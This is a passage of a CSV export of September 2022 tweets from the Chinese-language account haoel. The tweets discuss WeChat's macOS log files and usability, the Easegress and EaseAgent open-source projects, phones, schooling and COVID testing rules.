\n法国Safran Aircraft Engines独资企业\",,https://twitter.com/haoel/status/1572513020571693057\n1322,1572508037944078337,2022-09-21 08:48:26+00:00,685,129,43,,英国的“一周四天工作制”在测试了半年后得到了正反馈，准备永久实施了…… https://t.co/8k3RVJ7pvW,\"[TextLink(text='bbc.com/news/business-…', url='https://www.bbc.com/news/business-62966302.amp', tcourl='https://t.co/8k3RVJ7pvW', indices=(36, 59))]\",https://twitter.com/haoel/status/1572508037944078337\n1323,1572505011153932290,2022-09-21 08:36:25+00:00,0,0,0,,@_hisriver 好吧,,https://twitter.com/haoel/status/1572505011153932290\n1324,1572501267230109701,2022-09-21 08:21:32+00:00,10,0,5,,@_hisriver ZX是啥？,,https://twitter.com/haoel/status/1572501267230109701\n1325,1572474633437446146,2022-09-21 06:35:42+00:00,4,0,1,,@tinyfool 你都有我和楠子了，你要怎样才能快乐？,,https://twitter.com/haoel/status/1572474633437446146\n1326,1572255014550405120,2022-09-20 16:03:01+00:00,6,0,1,,@tinyfool 你还有楠子嘛,,https://twitter.com/haoel/status/1572255014550405120\n1327,1572250230984413186,2022-09-20 15:44:00+00:00,1,0,1,,@3721_helper @ghosTM55 以后我就把你当个bot了。我需要的时候会 at 你一下，然后你就根据上下文自动贴个图……🤣,,https://twitter.com/haoel/status/1572250230984413186\n1328,1572248815452966914,2022-09-20 15:38:23+00:00,3,0,1,,@3721_helper 你完全就是人肉图库啊,,https://twitter.com/haoel/status/1572248815452966914\n1329,1572209194320928773,2022-09-20 13:00:56+00:00,233,34,19,,当年因为有“公知”们在，所以，还能废除收容法，今天，公知们全部被销号了，面对类似的事，大家就只能靠自己了…… https://t.co/JinFZ0gEof,,https://twitter.com/haoel/status/1572209194320928773\n1330,1572200659235250188,2022-09-20 12:27:01+00:00,3,0,1,,@lcomplete_wild 把简单的事情变复杂是很简单的，所以，万物皆可争,,https://twitter.com/haoel/status/1572200659235250188\n1331,1572196547538059264,2022-09-20 12:10:41+00:00,90,4,7,,注：上推中， chown 和 chmod 前面要加上 sudo,,https://twitter.com/haoel/status/1572196547538059264\n1332,1572193966707343364,2022-09-20 12:00:26+00:00,249,37,10,,\"下午办点事，因为都是加密的，所以暂时调查不下去了，简单解决一下，方案是把 log 目录权限收了。\n&gt; chown root:wheel ./log\n&gt; chmod 400 ./log\n目下已经不写了，桌面程序也没有报错，用 XCode 的工具看了一下文件操作，没有发现在别的地方写 xlog…… https://t.co/mQO9sdetRV\",,https://twitter.com/haoel/status/1572193966707343364\n1333,1572189819589251073,2022-09-20 11:43:57+00:00,0,0,1,,@pyznqwlhxdysbb 估计正常的消息走的也是这两个IP，所以，不能只禁了这两个ip,,https://twitter.com/haoel/status/1572189819589251073\n1334,1572139085485178881,2022-09-20 08:22:21+00:00,1,0,0,,@pyznqwlhxdysbb @songma 我主要是教孩子,,https://twitter.com/haoel/status/1572139085485178881\n1335,1572138976957595649,2022-09-20 08:21:55+00:00,1,0,0,,@felix43311118 @songma 个人用的家庭存储，局域网硬盘服务,,https://twitter.com/haoel/status/1572138976957595649\n1336,1572138785076576258,2022-09-20 08:21:09+00:00,0,0,2,,@winterz27_ @songma iCloud 2TB，一个月70元了……😂,,https://twitter.com/haoel/status/1572138785076576258\n1337,1572137702149230592,2022-09-20 08:16:51+00:00,0,0,1,,@linxiaocong @goofarr 我感觉已经是自动上传了,,https://twitter.com/haoel/status/1572137702149230592\n1338,1572112174704893952,2022-09-20 06:35:25+00:00,160,18,15,,xlog是加密的，可以看到每分钟都在写，即使我不用桌面端的微信，每分钟在约100K的数据量，看了一个网络链接，主要是两个上海信的IP，80端口，也是加密的数据，发送这些日志应该是周期比较长的异步的……,,https://twitter.com/haoel/status/1572112174704893952\n1339,1572089092585959425,2022-09-20 05:03:42+00:00,5,0,2,,@shajiabiji 打字过快，打错了，是空间,,https://twitter.com/haoel/status/1572089092585959425\n1340,1572088563868782593,2022-09-20 05:01:36+00:00,1165,273,93,,macOS上的微信程序占了我很多硬盘空音，进去年了一下，发现有个log的目录，占我了近1GB的空音，然后里面还我每天的xlog的日志（二进制），日志都这么多，还要上传……我研究一下这日志是什么内容，上传到哪了…… https://t.co/W0lL48Ukz0,,https://twitter.com/haoel/status/1572088563868782593\n1341,1572075030024171520,2022-09-20 04:07:49+00:00,450,76,21,,@songma 嗯，除了grammarly外，分享几个我订阅的软件，1）Infuse+NAS的影版库，简直就是一个私有的netflix，2）Figma，我不是设计师，但是也止不住让我每月交15刀给这个软件，3）O'Reilly，计算机电子书大全，4）Github，虽然有公司的付费帐号，但是我还是要有一个私人的付费帐号。5）Youtube会员……,,https://twitter.com/haoel/status/1572075030024171520\n1342,1572072166853857288,2022-09-20 03:56:26+00:00,118,17,6,,@randyloop 写的挺好的。我记得我工作6年后学到的东西是这些：1）TCP/IP/HTTP网络协议，2）Windows/Linux操作系统的核心实现思路，3）C/C++的各种问题和陷阱，Java的J2EE架构，前端jQuery和Ajax，4）设计模式，如何让软件可维护可重用，5）三层架构，远程调用 ，集群架构。当时，我对技术之外的东西都不感兴趣……,,https://twitter.com/haoel/status/1572072166853857288\n1343,1571738458951155712,2022-09-19 05:50:24+00:00,899,39,82,,今年是我对新冠病毒最害怕的一年，害怕的不是病毒本身……,,https://twitter.com/haoel/status/1571738458951155712\n1344,1571427596361146368,2022-09-18 09:15:09+00:00,6,0,1,,@_daoxuan 当然一样，你自己思考吧。,,https://twitter.com/haoel/status/1571427596361146368\n1345,1571427017379422208,2022-09-18 09:12:51+00:00,0,0,0,,@fxkfxkany 这是什么？,,https://twitter.com/haoel/status/1571427017379422208\n1346,1571426800420671488,2022-09-18 09:11:59+00:00,524,82,14,,今天孩子在朋友圈因为小事跟同学从争论演化成吵架再到漫骂，搞得孩子心情不好，说话跟吃了炸药，于是，我教孩子怎么玩社交软件，三原则：1）要学会利用社交软件来扩大自己的朋友圈，2）社交软件是用来展示自己的才华，扩大影响力，而不是转发信息，3）尽量少争吵，要学会使用拉黑屏蔽来减小社交成本。,,https://twitter.com/haoel/status/1571426800420671488\n1347,1571368094437867521,2022-09-18 05:18:42+00:00,0,0,0,,@ThaddeusJiang 正确的选择,,https://twitter.com/haoel/status/1571368094437867521\n1348,1571345753238573057,2022-09-18 03:49:56+00:00,0,0,1,,@shirley36287284 是的，还有小程序,,https://twitter.com/haoel/status/1571345753238573057\n1349,1571339801483440128,2022-09-18 03:26:17+00:00,70,11,15,,我一个在澳门朋友的微信提示，如果选择取消的话，每一条消息都会弹窗要求确认…… https://t.co/ERI3yqTTt3,,https://twitter.com/haoel/status/1571339801483440128\n1350,1571336963915128832,2022-09-18 03:15:00+00:00,0,0,0,,@douglarek 你这就是case-by-case的思维方式，也就是只能看到一面。不过我微信官方已经修复了……,,https://twitter.com/haoel/status/1571336963915128832\n1351,1570793680868605953,2022-09-16 15:16:12+00:00,267,38,25,,\"《代码提交了没有》\n《火灾时提交代码的正确方式》 https://t.co/o1vGbPsr1d\",,https://twitter.com/haoel/status/1570793680868605953\n1352,1570750027458576387,2022-09-16 12:22:44+00:00,1,0,1,,@Fenng @hnhero 好的，这个算解决了一半，以前可没有,,https://twitter.com/haoel/status/1570750027458576387\n1353,1570743340316110851,2022-09-16 11:56:09+00:00,0,0,1,,@hnhero @Fenng 1）你用过telegram么，2）为什么微信要有“加好友无需认证”？给流量入侵当帮凶？脑残了？4）怎么设置，在哪设置？为什么群公告不需要？,,https://twitter.com/haoel/status/1570743340316110851\n1354,1570742224123731970,2022-09-16 11:51:43+00:00,4,0,4,,@erjinxia 少女变阿姨😂😂,,https://twitter.com/haoel/status/1570742224123731970\n1355,1570740505729994762,2022-09-16 11:44:54+00:00,4,0,1,,@kevinzhow @Fenng 这么看也只是国内，国际上可不是这样……,,https://twitter.com/haoel/status/1570740505729994762\n1356,1570714208068837376,2022-09-16 10:00:24+00:00,1,0,0,,@MiaBleem 高端人士啊……,,https://twitter.com/haoel/status/1570714208068837376\n1357,1570711748415737858,2022-09-16 09:50:37+00:00,1,0,1,,@MiaBleem 购物与吃，是不是女性的两大多巴胺多巴胺刺激源？🤣,,https://twitter.com/haoel/status/1570711748415737858\n1358,1570710124255399936,2022-09-16 09:44:10+00:00,4,0,1,,@kevinzhow @Fenng 这是两个事，一个是产品功能上缺陷的事，另一个则是重不重要的事。混在一起聊的话，属于转移话题，偷换概念了……,,https://twitter.com/haoel/status/1570710124255399936\n1359,1570691367747358721,2022-09-16 08:29:38+00:00,11,0,1,,@songma iPhone13😂,,https://twitter.com/haoel/status/1570691367747358721\n1360,1570680059056500736,2022-09-16 07:44:42+00:00,152,6,19,,昨天，我家孩子跟我说，班上那个第一个站出来投诉那个天天骂他们只能上职高的语文老师的小男生，“三观”很正。我问孩子什么是“三观”，孩子说只知道“价值观”，意思就是知道什么有价值、什么值钱……我一想，这个解释也不错啊，于是回道，这么说，“世界观”是知道哪里钱多，“人生观”则是知道干什么来钱……,,https://twitter.com/haoel/status/1570680059056500736\n1361,1570668913125625856,2022-09-16 07:00:25+00:00,5,0,4,,\"@Fenng *粗体*, _斜体_, ~下划划~，`code`，对于IM来说，这世上可能只有微信不支持了……\",,https://twitter.com/haoel/status/1570668913125625856\n1362,1570665158875447303,2022-09-16 06:45:30+00:00,0,0,1,,@Fenng 然而，你说的这个问题，微信已经解决了……,,https://twitter.com/haoel/status/1570665158875447303\n1363,1570661604995510272,2022-09-16 06:31:22+00:00,23,0,7,,@Fenng 这个话题扩大了，还是就事论事吧，你说我这个专业用户提的意见是肤浅的，就直接说哪几条肤浅就好了，为什么是肤浅的，我也跟你学习学习,,https://twitter.com/haoel/status/1570661604995510272\n1364,1570651862336151552,2022-09-16 05:52:39+00:00,3,0,4,,@xicilion @ghosTM55 @Fenng 我也是在笑，边回复边笑。（注：不是嘲笑，就是觉得好玩的笑）,,https://twitter.com/haoel/status/1570651862336151552\n1365,1570649902874783744,2022-09-16 05:44:52+00:00,3,0,3,,@Fenng 我不是胜负心，我只是好奇😜,,https://twitter.com/haoel/status/1570649902874783744\n1366,1570647537832558592,2022-09-16 05:35:28+00:00,26,0,6,,@Fenng 但我看你给别的产品提意见的时候，你都会先说对方的产品经理是脑残的,,https://twitter.com/haoel/status/1570647537832558592\n1367,1570644826588348416,2022-09-16 05:24:42+00:00,3,2,1,,@Fenng 你提这些意见的时候，你会觉得你是专业用户吗？你会觉得别人的产品经理不傻吗？你会觉得这些意见是肤浅的吗？,,https://twitter.com/haoel/status/1570644826588348416\n1368,1570643430723973120,2022-09-16 05:19:09+00:00,3,0,2,,@Fenng 其实你也跟很多产品在提意见的……,,https://twitter.com/haoel/status/1570643430723973120\n1369,1570633548239089665,2022-09-16 04:39:53+00:00,55,1,6,,@kevinzhow 在Netflix或Youtbue上看脱口秀看多了后，感觉笑点不足，还略有尴尬，不是因为他们没有才华，而是因为在中国这片土地上的禁忌太多了，好多都不能说，能说的空间越来越小，所以，也就只能这样了……,,https://twitter.com/haoel/status/1570633548239089665\n1370,1570631506674192392,2022-09-16 04:31:46+00:00,33,6,1,,@cloudwu 一般都是ceil (n*1.5)。P.S. 这让我想起来了这堂课上的分析 CSC300: Resizing Arrays and Amortized Analysis：https://t.co/MmXgwJJ18j,\"[TextLink(text='fpl.cs.depaul.edu/jriely/ds1/lec…', url='https://fpl.cs.depaul.edu/jriely/ds1/lectures/class-resizing.html', tcourl='https://t.co/MmXgwJJ18j', indices=(93, 116))]\",https://twitter.com/haoel/status/1570631506674192392\n1371,1570629680772034560,2022-09-16 04:24:31+00:00,32,1,6,,@Fenng 你再仔细看一下，这些是专业用户产品的需求吗？,,https://twitter.com/haoel/status/1570629680772034560\n1372,1570422335538352130,2022-09-15 14:40:36+00:00,9,0,1,,@kevinzhow 我以后也要借鉴,,https://twitter.com/haoel/status/1570422335538352130\n1373,1570376199779811334,2022-09-15 11:37:16+00:00,68,5,7,,Update: 1）这段时间，“你就上职高吧”成了孩子整个班的梗，孩子们互相用这个梗开玩笑……2）今天下午开班会，有男孩直言投诉语文老师，导致全班同学一个接一个的发言，群体投诉语文老师……孩子这个班真赞！,,https://twitter.com/haoel/status/1570376199779811334\n1374,1570325480796225539,2022-09-15 08:15:44+00:00,6,0,1,,@dearmaxi @uujyun @shajiabiji @Hayami_kiraa s/y/f/😂,,https://twitter.com/haoel/status/1570325480796225539\n1375,1570302426477121537,2022-09-15 06:44:07+00:00,225,20,52,,微信难用在哪里，看似是来征求意见的，与之对完话后，发现是来辩论微信好用的……呵呵,,https://twitter.com/haoel/status/1570302426477121537\n1376,1570300024848011265,2022-09-15 06:34:35+00:00,112,7,11,,@uujyun @shajiabiji @Hayami_kiraa 你们是全世界唯一一个！对了，以后别在社交平台征求用户意见了……,,https://twitter.com/haoel/status/1570300024848011265\n1377,1570299685235224577,2022-09-15 06:33:14+00:00,0,0,1,,@uujyun @shajiabiji @Hayami_kiraa 我出去讲座，加我的人100多人，你知道一个一个点有痛苦么？,,https://twitter.com/haoel/status/1570299685235224577\n1378,1570297578348228609,2022-09-15 06:24:52+00:00,4,0,2,,\"@uujyun @shajiabiji @Hayami_kiraa 对的，5和9都被改过了。\n\n对于6，你就在瞎说了，imessage有个主题加粗的选项，whatsapps和fb chat可是支持markdown语法的啊。\n\n对于8的话，微信里的图片，视频，公众号都没有一个转到到其它程序的按钮，你看看别的APP是怎么做的吧。\",,https://twitter.com/haoel/status/1570297578348228609\n1379,1570296105791033344,2022-09-15 06:19:00+00:00,0,0,1,,\"@uujyun @shajiabiji @Hayami_kiraa 对于1，用你的话说，1这个问题 imessage 和 whatapp就没有……\n\n对于2，你要说电脑端，电脑端的问题更糟糕，比如，备注不能在原名上修改，不能从打招呼中获取，不能看见打招呼的信息……\n\n对于4，如果你觉得行就行了，那就别问我们用户的意见了……\",,https://twitter.com/haoel/status/1570296105791033344\n1380,1570293800643497984,2022-09-15 06:09:51+00:00,1,0,1,,\"@uujyun @shajiabiji @Hayami_kiraa 1，这个你应该可以复现的，在手机端，刚开微信的时候，所有的对话都在刷信息，然后就不断的重新排序，所以，你本来想进某个对话，结果却进了另一个。\n\n2，通过关闭好友验证来批量同意，这个解法不对吧\n\n3，这个算你解决了吧。看我这贴是两年前的。\n\n4，过多是多少，你觉得有多少人玩大群？\",,https://twitter.com/haoel/status/1570293800643497984\n1381,1570291445315309568,2022-09-15 06:00:29+00:00,14,0,5,,\"@uujyun @shajiabiji @Hayami_kiraa 有些改了，有些还没有\nhttps://t.co/rluLxLUOTy\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1238497431152521216', tcourl='https://t.co/rluLxLUOTy', indices=(45, 68))]\",https://twitter.com/haoel/status/1570291445315309568\n1382,1570288444332711936,2022-09-15 05:48:34+00:00,0,0,0,,@wswch19941012 @spacewanderlzx 你要是接触C时间长，你不会觉得Rust的门槛高的，只会觉得Rust爽得很！,,https://twitter.com/haoel/status/1570288444332711936\n1383,1570287787462774784,2022-09-15 05:45:57+00:00,3,0,2,,@xicilion 我差不多也是高二还是高三，选人大代表,,https://twitter.com/haoel/status/1570287787462774784\n1384,1570285346679836673,2022-09-15 05:36:15+00:00,0,0,1,,@wswch19941012 @spacewanderlzx C语言不高？,,https://twitter.com/haoel/status/1570285346679836673\n1385,1570282930244833282,2022-09-15 05:26:39+00:00,31,0,17,,刚升级完 iOS 16 有点不适应锁屏页，感觉好丑，换成自拍的照片再加上小但件，就好多了…… https://t.co/3I4D46wKIW,,https://twitter.com/haoel/status/1570282930244833282\n1386,1570238153809858565,2022-09-15 02:28:44+00:00,67,19,5,,\"本周六，我们有一个社区提交的 Easegress gRPC 的 PR#793 （ https://t.co/zelPbqOqGM ） Code Review，欢迎大家一起来参加!\n\n腾讯会议：159-636-072\nhttps://t.co/yyjBeNeVDX https://t.co/lRMkJBqY0Y\",\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/pull/793', tcourl='https://t.co/zelPbqOqGM', indices=(41, 64)), TextLink(text='meeting.tencent.com/dm/44TYTGVfy14L', url='https://meeting.tencent.com/dm/44TYTGVfy14L', tcourl='https://t.co/yyjBeNeVDX', indices=(108, 131))]\",https://twitter.com/haoel/status/1570238153809858565\n1387,1570064091917565954,2022-09-14 14:57:04+00:00,0,0,1,,@sutonlineskyon 先加我们的slack，有了PR贡献后，会拉你入群,,https://twitter.com/haoel/status/1570064091917565954\n1388,1570064046828752896,2022-09-14 14:56:53+00:00,0,0,0,,@JiweiYuan 先加我们的slack，有了PR贡献后，会拉你入群,,https://twitter.com/haoel/status/1570064046828752896\n1389,1570035306308706309,2022-09-14 13:02:41+00:00,0,0,0,,@envnet 需要要到社区里做贡献，做了贡献才能会被拉到Discord，我们slack群里可以找相关的负责人。,,https://twitter.com/haoel/status/1570035306308706309\n1390,1570035227300601857,2022-09-14 13:02:22+00:00,0,0,0,,@avisecn 需要要到社区里做贡献，做了贡献才能会被拉到Discord，我们slack群里可以找相关的负责人。,,https://twitter.com/haoel/status/1570035227300601857\n1391,1570035046022803461,2022-09-14 13:01:39+00:00,0,0,0,,@samsara9527 没错，filter不应该关心控制逻辑。我们在Easegress 1.0中，一些控制逻辑也由filter来做，这个导致我们控不住了……因为控制逻辑是全局的filter不应该做全局的事。,,https://twitter.com/haoel/status/1570035046022803461\n1392,1570034749250605057,2022-09-14 13:00:28+00:00,0,0,0,,@njubinbin 先上我们的slack，有贡献我们就拉discord.,,https://twitter.com/haoel/status/1570034749250605057\n1393,1569958411592413186,2022-09-14 07:57:08+00:00,32,1,12,,大家如果想来玩玩的，我们还是有一些事可以做的，EaseAgent这边可以开发一些插件，或是调调性能，Easegress也有一些功能可以搞搞，比如一些负载均衡的策略，或是对接各种有趣的API。如果大家感兴趣的话，我可以把大家拉到我们的Discord公司群，可以参与我们内部的一些讨论，包括我们每周一的技术分享。,,https://twitter.com/haoel/status/1569958411592413186\n1394,1569947963786686465,2022-09-14 07:15:37+00:00,155,20,4,,\"下面这两篇文章帮助大家了解一下我们今年的两个全新版本的开源软件：\n\n- EaseAgent 2.0  ：加上 Prometheus 和 Grafana，就是一个指标、日志、调用链的监控系统，\nhttps://t.co/rvDFQ0USye\n\n- Easegress 2.0 ：全新的Pipeline，让 API 编排轻松自如 \nhttps://t.co/4GTiVwdi72\n\n希望大家喜欢并支持！\",\"[TextLink(text='megaease.cn/zh/blog/2022/0…', url='https://megaease.cn/zh/blog/2022/05/08/easeagent-observability-non-intrusive-observation-system/', tcourl='https://t.co/rvDFQ0USye', indices=(96, 119)), TextLink(text='megaease.cn/zh/blog/2022/0…', url='https://megaease.cn/zh/blog/2022/08/09/the-new-version-of-easegress/', tcourl='https://t.co/4GTiVwdi72', indices=(164, 187))]\",https://twitter.com/haoel/status/1569947963786686465\n1395,1569589496479645696,2022-09-13 07:31:12+00:00,3,0,0,,@Hugo_Qin 0开头么？,,https://twitter.com/haoel/status/1569589496479645696\n1396,1569584201808355332,2022-09-13 07:10:09+00:00,216,19,14,,看到 Twitter 上开始出现大量的 #ProgrammersDay ，才意识到今天是国际上的程序员节，因为今天是一年的第256天，也就是十六进制的100。润年则是9月12日……,,https://twitter.com/haoel/status/1569584201808355332\n1397,1569532390183432193,2022-09-13 03:44:16+00:00,14,0,4,,电影评分如下： https://t.co/D30qo1NOv4,,https://twitter.com/haoel/status/1569532390183432193\n1398,1569529431500427264,2022-09-13 03:32:31+00:00,33,1,8,,周末在 Disney+ 上看了《雷神4》，BGM 居然整了这么多“枪炮玫瑰”的同一张专辑（ https://t.co/IqxXOTWrM2）里的这么多歌，都是我中学时代听的歌，看着电影就忍不住一起哼唱……想起前段时间的新蝙蝠侠也是从头到尾的“涅槃乐队”的Something In The Way。这是上世纪的摇滚乐要在超级英雄电影里复苏了么？ https://t.co/gTZCmrZfau,\"[TextLink(text='music.youtube.com/playlist?list=…', url='https://music.youtube.com/playlist?list=OLAK5uy_nnCYsn6_-pTPImZ_UqWiA3DxaaNczxEMA', tcourl='https://t.co/IqxXOTWrM2', indices=(46, 69))]\",https://twitter.com/haoel/status/1569529431500427264\n1399,1569290789720846336,2022-09-12 11:44:14+00:00,22,2,0,,灵动湖……👍🏻👍🏻🤙🏻🤙🏻,,https://twitter.com/haoel/status/1569290789720846336\n1400,1568926265847222272,2022-09-11 11:35:45+00:00,7,0,7,,国内的推友大家帮测一下,,https://twitter.com/haoel/status/1568926265847222272\n1401,1568601034045652994,2022-09-10 14:03:24+00:00,14,0,12,,今天才想起来可以预购，然后发现要等到十一月份才能到货。好吧，劝退了，不买了…… https://t.co/NSkeq3ATQ7,,https://twitter.com/haoel/status/1568601034045652994\n1402,1568213473846509568,2022-09-09 12:23:22+00:00,102,6,4,,1）你混淆了“精良设计”和“过度设计”，前者从来都是做简化、标准化、确定要啥不要啥，留好扩展接口，后者则是什么都要，在复杂化，后者根本不是精良设计，2）你混淆了“精良设计”等同于“浪费时间”，没有设计才是浪费时间，3）公司没了与架构还在，你应该庆幸，君不见多少公司都不见了，但Linux还在……,,https://twitter.com/haoel/status/1568213473846509568\n1403,1568210118696906754,2022-09-09 12:10:02+00:00,10,0,1,,@neweyebrow 系统集成是没有控制/调度/观测系统，也没有各种治理系统，没有软件生产流水线的CI/CD，没有顶层设计，就是各种拼凑……,,https://twitter.com/haoel/status/1568210118696906754\n1404,1568183888404688896,2022-09-09 10:25:49+00:00,3,0,0,,@zoos33 type-c不是手机的重点,,https://twitter.com/haoel/status/1568183888404688896\n1405,1568183687749206017,2022-09-09 10:25:01+00:00,379,56,28,,江湖上流传一句话：“好的架构不是设计出来的，而是演化出来的”，这句话似乎把“设计”和“演化”对立了起来，其实是一致的，好的架构就是给过设计的，不然就是系统集成和野路子，这句话应该是这：“好的架构是就是设计出来的，而且还是精良设计的，而精良的设计是在不断进化的”。,,https://twitter.com/haoel/status/1568183687749206017\n1406,1568182673499369473,2022-09-09 10:20:59+00:00,0,0,1,,@WeiXiao65841392 @morgen0306 @warnloopv_ 我觉得这个完全不是重点……,,https://twitter.com/haoel/status/1568182673499369473\n1407,1568181707425316864,2022-09-09 10:17:09+00:00,1,0,0,,@baresiwin 我也是这么想的。另外，我对拍照还是有一定要求的……,,https://twitter.com/haoel/status/1568181707425316864\n1408,1568181465791471618,2022-09-09 10:16:11+00:00,0,0,1,,@WeiXiao65841392 @morgen0306 @warnloopv_ type-c有什么好处？,,https://twitter.com/haoel/status/1568181465791471618\n1409,1568181304575000577,2022-09-09 10:15:33+00:00,40,4,3,,@disksing “链表查环”不是脑筋急转弯，一般看你用什么样的数据结构和算法，很多公司用这些算法题主要是分辨有CS专业出生和非专业出身的人，虽说非CS专业出身的人也有不错的人，但是概率上来说，CS专业上的人更出色。另外，链表查环也是有意义的，这里有个实际的案例： https://t.co/fYiWZznOXO,\"[TextLink(text='coolshell.cn/articles/9606.…', url='https://coolshell.cn/articles/9606.html', tcourl='https://t.co/fYiWZznOXO', indices=(134, 157))]\",https://twitter.com/haoel/status/1568181304575000577\n1410,1568170091703074816,2022-09-09 09:30:59+00:00,2,0,2,,@morgen0306 @warnloopv_ 这个理由无可辩驳啊……,,https://twitter.com/haoel/status/1568170091703074816\n1411,1568169889390825472,2022-09-09 09:30:11+00:00,0,0,0,,@MiaBleem 你也是11吗？,,https://twitter.com/haoel/status/1568169889390825472\n1412,1568169776165572608,2022-09-09 09:29:44+00:00,16,0,2,,@tinyfool 我一般都是顶配。手机是每天都在用的东西，所以，得用最好的。,,https://twitter.com/haoel/status/1568169776165572608\n1413,1568167448523972608,2022-09-09 09:20:29+00:00,12,0,2,,@tinyfool 灵动岛和高分辨率,,https://twitter.com/haoel/status/1568167448523972608\n1414,1568166120355672069,2022-09-09 09:15:12+00:00,0,0,15,,@warnloopv_ 我也是11 Max Pro，还是想换了，要不你说服我一下，让我别换了……,,https://twitter.com/haoel/status/1568166120355672069\n1415,1568162455221829634,2022-09-09 09:00:39+00:00,170,1,89,,看了一下 iPhone 14 的宣传片，再看了看我的iPhone 11……之前的12和13我都忍了，今年应该是忍不住了，要破财了……,,https://twitter.com/haoel/status/1568162455221829634\n1416,1567890112318701569,2022-09-08 14:58:27+00:00,267,67,31,,\"2022.6.9 国家卫健委：没疫情发生查核酸不应成为常态 https://t.co/R2A7QcGWkm\n\n2022.9.8 国家卫健委：对于没有发生疫情的地区要开展常态化核酸检测 https://t.co/F3j6ZGeAeL\",\"[TextLink(text='m.weibo.cn/status/4778470…', url='https://m.weibo.cn/status/4778470553162991', tcourl='https://t.co/R2A7QcGWkm', indices=(30, 53)), TextLink(text='m.weibo.cn/status/4811445…', url='https://m.weibo.cn/status/4811445793457358', tcourl='https://t.co/F3j6ZGeAeL', indices=(92, 115))]\",https://twitter.com/haoel/status/1567890112318701569\n1417,1567409623300452352,2022-09-07 07:09:09+00:00,18,2,9,,谢谢大家的回复，搞得我很想找个Android手机来玩玩了……,,https://twitter.com/haoel/status/1567409623300452352\n1418,1567337607029489666,2022-09-07 02:22:59+00:00,5,0,0,,@kevinzhow 了解了，没有安卓手机的使用经验，成老年人了……,,https://twitter.com/haoel/status/1567337607029489666\n1419,1567331385425428480,2022-09-07 01:58:16+00:00,1,0,16,,@kevinzhow 这种多开技术时，把原来的App再复制出一个来吗？那么可以登录同一个帐号吗？微信是不可以的,,https://twitter.com/haoel/status/1567331385425428480\n1420,1567331200615993347,2022-09-07 01:57:32+00:00,0,0,3,,@orwell_benjamin 可是截图里面全都是微信的小程序,,https://twitter.com/haoel/status/1567331200615993347\n1421,1567329632642568192,2022-09-07 01:51:18+00:00,135,5,92,,不懂就问，这个是怎么解决的？一个手机怎么起同一个账号的两个微信？一个微信怎么同时打开两个小程序？ https://t.co/9PEPPGxnWy,,https://twitter.com/haoel/status/1567329632642568192\n1422,1567125367743483904,2022-09-06 12:19:38+00:00,33,3,4,,java virtual machine run on a container orchestrated by Kubernetes 的图画成这样…… https://t.co/jDcDuWD15K,,https://twitter.com/haoel/status/1567125367743483904\n1423,1566993827025797121,2022-09-06 03:36:56+00:00,5,0,4,,@WestdragonCool1 中国教育的问题是体制问题，不是学区房的问题。老师的KPI是分数，不是让你学到技能。所以，你到哪儿都一样……,,https://twitter.com/haoel/status/1566993827025797121\n1424,1566970879883771908,2022-09-06 02:05:45+00:00,0,0,0,,@farmer1992 你好好学学，你也上得了台面，问题是，你已觉得说得烂也能过，所以，为什么还要说好呢？！自己要不要进步还看自己想不想更好,,https://twitter.com/haoel/status/1566970879883771908\n1425,1566969560628338689,2022-09-06 02:00:30+00:00,0,0,1,,@Ericli2010 如果你知道，你就明白我说的就是口音的问题，别人嘲笑他的就是口音，你说嘲笑不应该，是的，我同意你，但是大众会听你的吗？要不你也用蹩脚的英文做个演讲看看？如果你自己都做不到，请不要跟别人讲这样的道理，不然就是抬杠。,,https://twitter.com/haoel/status/1566969560628338689\n1426,1566968370632990720,2022-09-06 01:55:47+00:00,0,0,1,,@KuangrenLu are you ok 虽然不好，但也不错，另外，这个同样也是口音问题，如果你知道这个梗的话……,,https://twitter.com/haoel/status/1566968370632990720\n1427,1566968113912246272,2022-09-06 01:54:45+00:00,0,0,1,,@Ericli2010 你恐怕不知道 are you ok的梗吧……,,https://twitter.com/haoel/status/1566968113912246272\n1428,1566967974753607682,2022-09-06 01:54:12+00:00,0,0,1,,@SHD24h 是口音问题，如果你知道这个梗的话……,,https://twitter.com/haoel/status/1566967974753607682\n1429,1566964054937464833,2022-09-06 01:38:38+00:00,20,0,4,,@PenngXiao 你要是教人避税，可以涨10000个,,https://twitter.com/haoel/status/1566964054937464833\n1430,1566962492060090368,2022-09-06 01:32:25+00:00,0,0,1,,@farmer1992 我估计你以后要是上了台也是会来一句 are you ok ……哈哈,,https://twitter.com/haoel/status/1566962492060090368\n1431,1566961927250919424,2022-09-06 01:30:10+00:00,88,3,26,,关于口音的问题，有些推友不以为然，说印度人的口音也不影响交流，的确如此。但我想说：1）你会跟印度人学英文吗？1）作为老师，专业能力要过硬，发音不标准对一般人可以，但是对老师来说不应该，2）使用语言的场合有日常交流也有正式场合，如果孩子以后需要上台演讲，我不希望一上台就来句are you ok,,https://twitter.com/haoel/status/1566961927250919424\n1432,1566744824136339456,2022-09-05 11:07:29+00:00,87,0,24,,@ichienho 完全不能同意，学语言四个事，听说读写，发音不标准就会教错发音，所以，中国人全是哑巴英语，花了大量的时间，结果说不出，听不懂，呵呵。,,https://twitter.com/haoel/status/1566744824136339456\n1433,1566737560306475008,2022-09-05 10:38:37+00:00,780,59,125,,孩子升初中了，今天回来跟我说，英语老师发音太不标准了，比Chinglish还不如，一说话，同学们都偷偷笑，但是老师还觉得自己说的挺好的……语文老师让背朱自清的《春》说，“如果背不好，你就考不上大学，考不上高中，以后上个职高吧……”，这就是中国的教育，从我上学的时候到今天就没有变过……,,https://twitter.com/haoel/status/1566737560306475008\n1434,1566662934058586113,2022-09-05 05:42:05+00:00,2,0,3,,@carl_xwz 从几月份开始的？北京是从5月初到现在的,,https://twitter.com/haoel/status/1566662934058586113\n1435,1566660516696637440,2022-09-05 05:32:28+00:00,393,28,109,,因为北京72小时核酸的政策，为了让核酸检查成为我的生活规律，而不至于忘了，我一般是周三和周日进行核酸检测，也就是说我周日的时候就超72小时了，在家呆着哪儿也别去……昨天周日忘了，跟孩子上书店买书，被拒绝进入，只在在门口等，回家时，想在路边小店吃碗面，没想到又被老板拒绝进入，简直了……,,https://twitter.com/haoel/status/1566660516696637440\n1436,1566636122330959872,2022-09-05 03:55:32+00:00,704,135,27,,Unconscious Bias 无意识偏见 https://t.co/C4Q0bes7nP,,https://twitter.com/haoel/status/1566636122330959872\n1437,1566425341165330432,2022-09-04 13:57:58+00:00,0,0,1,,@wuyuesanren 瘦了,,https://twitter.com/haoel/status/1566425341165330432\n1438,1566282202257580032,2022-09-04 